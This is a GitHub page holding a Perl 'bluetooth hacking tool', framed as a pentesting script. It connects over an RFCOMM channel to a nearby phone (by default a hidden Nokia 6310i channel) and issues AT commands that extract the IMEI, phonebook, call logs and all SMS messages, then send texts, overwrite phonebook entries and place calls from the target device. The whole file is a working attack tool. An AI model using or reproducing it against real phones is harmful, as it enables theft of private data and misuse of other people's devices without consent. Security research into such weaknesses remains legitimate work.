-
Notifications
You must be signed in to change notification settings - Fork 17
Expand file tree
/
Copy pathbluetooth hacking tool.pl
More file actions
559 lines (491 loc) · 24.3 KB
/
bluetooth hacking tool.pl
File metadata and controls
559 lines (491 loc) · 24.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
#!/usr/bin/perl
#
# bluetooth hacking tool
#
# written by pierre kroma
# kroma@syss.de
use Device::Gsm;
use Getopt::Std;
use Term::ReadLine;
use Device::Modem;
use Term::ANSIColor;
############################ U S A G E ###################################
getopts("bcpsv", \%args);
system ("clear");
print "\nBluetooth Pentester\n";
print "written by pierre kroma (kroma\@syss.de)\n\n";
if (!defined $args{s}) {
print qq~
Usage: perl bluetest.pl -s { -b <bt-addr> -c channel -p -v }
-b <bt-addr> = hardware address of the target bluetooth device (example: 00:11:22:33:44:55)
-c <channel> = channel
-p = ping the remote device
-s = start the script
-v = be verbose
~; exit;}
################################## D E F I N I T I O N ####################
# tools
my $hcitool="/usr/bin/hcitool";
my $l2ping ="/usr/bin/l2ping";
my $rfcomm ="/usr/bin/rfcomm";
my $lsusb = "/usr/sbin/lsusb";
my $hciconfig = "/usr/sbin/hciconfig";
my $bluefw = "/sbin/bluefw";
# variable
my $bluedev="hci0";
my $bt_addr = 0;
my $channel = $args{c};
my $i = 0;
#################### S U B R O U T I N E S #################################
sub init_adapter
{
use strict;
my $busnum = "";
my $devnum = "";
# busid 0a12:0001 = linksys USBBT100 usb bluetooth stick
my $id = `$lsusb 2>/dev/null |grep 0a12:0001`;
# more generic
# my $id = `$lsusb 2>/dev/null |grep -i bluetooth`;
if ( $id =~ /Bus (\d{3}) Device (\d{3}): ID 0a12:0001/ )
{
$busnum = $1;
$devnum = $2;
system("$bluefw usb $busnum\/$devnum");
system("$hciconfig $bluedev up");
sleep(1.5);
}
}
sub init_modem
{
$modem = new Device::Modem( port => '/dev/rfcomm0' );
if( $modem->connect( baudrate => 9600 ) ) {
# print "connected!\n";
} else {
print "sorry, cannot connect to your serial port!\n";
}
# turn off the local echo
$modem->echo(0);
}
sub searching
{
print color 'bold blue';
print "search devices\n";
print color 'reset';
my @scan = `$hcitool scan | grep -v "Scanning"`;
foreach $line (@scan)
{
print $i++;
print $line;
}
print "\n";
}
sub selecting
{
# select a device
if($args{'b'})
{
$bt_addr = $args{b};
}
else
{
$term = new Term::ReadLine 'bluetooth address reader';
my $prompt = "Enter hw-addr (example: 00:11:22:33:44:55): ";
my $OUT = $term->OUT || \*STDOUT;
$bt_addr = $term->readline($prompt);
}
}
sub ping
{
# ping the remote device
if($args{'p'})
{
# ping the remote device
print color 'bold blue';
print "\nping the remote device $bt_addr\n";
print color 'reset';
die "You must be root to use l2ping!\n" if $> != 0;
system ("$l2ping -c 5 $bt_addr");
}
}
sub binding
{
# binding a device
print color 'bold blue';
print "\n\nbind a device to $bt_addr \t\t";
print color 'reset';
if($args{'c'})
{
$channel = $args{c};
}
else
{
# setting default nokia 6310i hidden channel 17 or 18
$channel = 17;
}
system("$rfcomm release $bluedev 2>/dev/null");
sleep(2);
system("$rfcomm bind $bluedev $bt_addr $channel 2>/dev/null");
sleep(2);
# Connect to the mobile phone
# for devfs
# my $gsm = new Device::Gsm( port => '/dev/bluetooth/rfcomm/0' );
# for udev
$gsm = new Device::Gsm( port => '/dev/rfcomm0' );
if( $gsm->connect() )
{
print color 'bold green';
print "connected!\n";
print color 'reset';
}
else
{
print color 'bold red';
print "sorry, no connection with gsm phone on serial port!\n";
print color 'reset';
exit (1);
}
# Register to GSM network
$gsm->register();
}
sub manu
{
# Extract the manufacturer
my $man_name = $gsm->manufacturer();
print "manufacture: $man_name \n";
}
sub model
{
# model
my $model = $gsm->model();
print "model: $model \n";
}
sub sw
{
# software revision
$modem->atsend( 'AT+CGMR' . Device::Modem::CR );
$rev = $modem->answer();
$rev =~ s/\r//g;
$rev =~ s/OK//g;
print "software revision: \n \n $rev";
sleep(1);
}
sub imei
{
# Extract the IMEI number
my $imei = $gsm->imei();
$imei =~ s/\r//g;
$imei =~ s/OK//g;
print "IMEI: (International Mobile Equipment Identifier) = $imei \n\n";
}
sub readbook
{
print color 'bold blue';
print "\n\nextract the phonebook\n\n";
print color 'reset';
if($args{'v'})
{
print "storagelocation:";
print qq~
ME => storage: device
SM => storage: SIM-card
MT => combination of ME + SM (doesn�t work FOR MY 6310i)
BM => storage: CB-news
~;
}
print "\nsupported storage location";
$modem->atsend( 'AT+CPMS=?' . Device::Modem::CR );
$types = $modem->answer();
$types =~ s/\r//g;
$types =~ s/\n//g;
$types =~ s/OK//g;
$types =~ s/\+CPMS//g;
print "$types \n";
print "\ncurrent phonebooksource";
$modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
$source = $modem->answer();
$source =~ s/\r//g;
$source =~ s/\n//g;
$source =~ s/OK//g;
$source =~ s/\+CPBS//g;
print $source;
print "\n\n";
print "\ncurrent used storage on device";
$command="AT+CPBS=\"ME\"";
$modem->atsend( $command . Device::Modem::CR );
$modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
$memory = $modem->answer();
$memory =~ s/\r//g;
$memory =~ s/\n//g;
$memory =~ s/OK//g;
$memory =~ s/\+CPBS//g;
print $memory;
print "\ncurrent used storage on SIM";
$command="AT+CPBS=\"SM\"";
$modem->atsend( $command . Device::Modem::CR );
$modem->atsend( 'AT+CPBS?' . Device::Modem::CR );
$source = $modem->answer();
$source =~ s/\r//g;
$source =~ s/\n//g;
$source =~ s/OK//g;
$source =~ s/\+CPBS//g;
print $source;
print "\n\n";
my $prompt = "What do you want to readout? (ME oder SM) : ";
my $OUT = $term->OUT || \*STDOUT;
$type = $term->readline($prompt);
$command = "AT+CPBS=\"$type\"";
$modem->atsend( $command . Device::Modem::CR );
$asource = $modem->answer();
$asource =~ s/\r//g;
$asource =~ s/\n//g;
$asource =~ s/OK//g;
print $asource;
my $prompt = "starting from entry (>=0): \t ";
my $OUT = $term->OUT || \*STDOUT;
$start = $term->readline($prompt);
print "\n";
my $prompt = "ending to entry:\t\t";
my $OUT = $term->OUT || \*STDOUT;
$max = $term->readline($prompt);
print "\n";
if ( $start > $max || $start <= '0' )
{
print "oops damn f*cking long night? \n";
print "initial value <= 0? \n";
print "or initial value > final value? \n";
exit (1);
}
list_entries ();
print "\nextract last 5 dialled numbers: \n";
$command = "AT+CPBS=\"DC\"";
$modem->atsend( $command . Device::Modem::CR );
$asource = $modem->answer();
$asource =~ s/\r//g;
$asource =~ s/\n//g;
$asource =~ s/OK//g;
print $asource;
$start=1;
$max=5;
list_entries ();
print "\nlast 5 missed calls: \n";
$command = "AT+CPBS=\"MC\"";
$modem->atsend( $command . Device::Modem::CR );
$asource = $modem->answer();
$asource =~ s/\r//g;
$asource =~ s/\n//g;
$asource =~ s/OK//g;
print $asource;
$start=1;
$max=5;
list_entries ();
print "\nlast 5 received calls: \n";
$command = "AT+CPBS=\"RC\"";
$modem->atsend( $command . Device::Modem::CR );
$asource = $modem->answer();
$asource =~ s/\r//g;
$asource =~ s/\n//g;
$asource =~ s/OK//g;
print $asource;
$start=1;
$max=5;
list_entries ();
}
sub list_entries
{
$i = $start;
foreach $i ( $start..$max )
{
$command = "AT+CPBR=$i";
$modem->atsend( $command . Device::Modem::CR );
$entry = $modem->answer();
# format
$entry =~ s/\r//g;
$entry =~ s/\n//g;
$entry =~ s/OK//g;
# parse
# type = 145 = international format = number starts with +
# type = 129 = unknown number format = didn't start with +
( $pos, $num, $type, $tag ) = $entry =~ m/^\+CPBR: ($i),"(.+?)",(\d+),"(.+)?"\r?$/m;
$type =~ s/145/international/g;
$type =~ s/129/unknown/g;
if ( $num == '' )
{
print "entry $i: is empty \n";
}
else
{
print "entry $i: $num, $type, $tag \n";
}
}
}
sub sendsms
{
# Send a text message quickly
print color 'bold blue';
print "\n\nwrite a message (SMS)\n";
print color 'reset';
print "\n";
my $prompt = "recipient (example +4912345678): ";
my $OUT = $term->OUT || \*STDOUT;
$recipient = $term->readline($prompt);
print "\n";
my $prompt = "message: ";
my $OUT = $term->OUT || \*STDOUT;
$message = $term->readline($prompt);
my $status = $gsm->send_sms(
recipient => $recipient,
content => $message
);
if ( $status )
{
print color 'bold green';
print "\nmessage transmitted successfully.\n";
print color 'reset';
}
else
{
print color 'bold red';
print "\nERROR: message couldn`t delivered.\n" ;
print color 'reset';
}
sleep(2);
}
sub readsms
{
# Get list of device::Gsm::Sms message objects
# see `examples/read_messages.pl' for all details
# get mode status
$modem->atsend( 'AT+CMGF?' . Device::Modem::CR );
print color 'bold blue';
print "\nSMS Menu";
print color 'reset';
print "\n \ncurrent sms status (0=PDU, 1=text)";
my $status = $modem->answer();
$status =~ s/\r//g;
$status =~ s/\n//g;
$status =~ s/OK//g;
$status =~ s/\+CMGF//g;
print $status;
sleep(2);
# switch to text mode (does not work with 6310i)
# print "switch to text mode \n";
# $modem->atsend( 'AT+CMGF=1' . Device::Modem::CR );
# print $modem->answer();
print "\n\nextract all sms \n";
$modem->atsend( 'AT+CMGL=4' . Device::Modem::CR );
my $extract = $modem->answer();
$extract =~ s/OK//g;
$extract =~ s/\+CMGL://g;
sleep(2);
print $extract;
}
sub call
{
# read number
print color 'bold blue';
print "\n\nmaking a call\n";
print color 'reset';
print "\n";
my $prompt = "Which number should be called? (example: 004970714078560): ";
my $OUT = $term->OUT || \*STDOUT;
$number = $term->readline($prompt);
print "\ncalling $number \n";
my $max = 20;
if (fork)
{
$modem->dial( $number );
}
else
{
print "waiting $max seconds before ring off: ";
$i = 0;
foreach $i ( 1..$max )
{
print "$i ";
sleep(1);
}
print "\n";
$modem->hangup();
}
}
sub writebook
{
print color 'bold blue';
print "\ncreate a phonebook entry";
print color 'reset';
print "\n";
my $prompt = "storage space number (ATTENTION: you may overwrite an existing entry:): ";
my $OUT = $term->OUT || \*STDOUT;
$nr = $term->readline($prompt);
print "\n";
my $prompt = "phone-number (format +49123456789): ";
my $OUT = $term->OUT || \*STDOUT;
$tel = $term->readline($prompt);
print "\n";
my $prompt = "name: ";
my $OUT = $term->OUT || \*STDOUT;
$name = $term->readline($prompt);
print "\n";
my $prompt = "storage location (ME=device, SM=SIM): ";
my $OUT = $term->OUT || \*STDOUT;
$place = $term->readline($prompt);
$command="AT+CPBS=\"$place\"";
$modem->atsend( $command . Device::Modem::CR );
$command="AT+CPBW=$nr,\"$tel\",145,\"$name\"";
$modem->atsend( $command . Device::Modem::CR );
$source = $modem->answer();
$source =~ s/\r//g;
$source =~ s/\n//g;
$source =~ s/OK//g;
print $source;
print "\n\nchecking......";
$start = $nr - 5;
$max = 5;
if ( $start <= 0 )
{
$start = $nr;
}
$max = $nr + 5;
print "\n extract your phonebook from storage space number $start to $max \n";
list_entries ();
print "\n";
}
sub key
{
my $message = "- press any key -";
my $OUT = $term->OUT || \*STDOUT;
$term->readline($message);
}
sub final
{
#system ('cat ./logo.txt');
print color 'bold red';
print "\t\t\t\twritten by pierre kroma (kroma\@syss.de)\n\n";
print color 'reset';
$modem->disconnect();
print "\n";
}
############################# M A I N ###############################
init_adapter ();
searching ();
selecting ();
ping ();
binding ();
init_modem ();
print color 'bold blue';
print "\nextract device information\n";
print color 'reset';
manu ();
model ();
sw ();
imei ();
key();
readsms ();
sendsms ();
key ();
readbook ();
writebook ();
key ();
call ();
key ();
final ();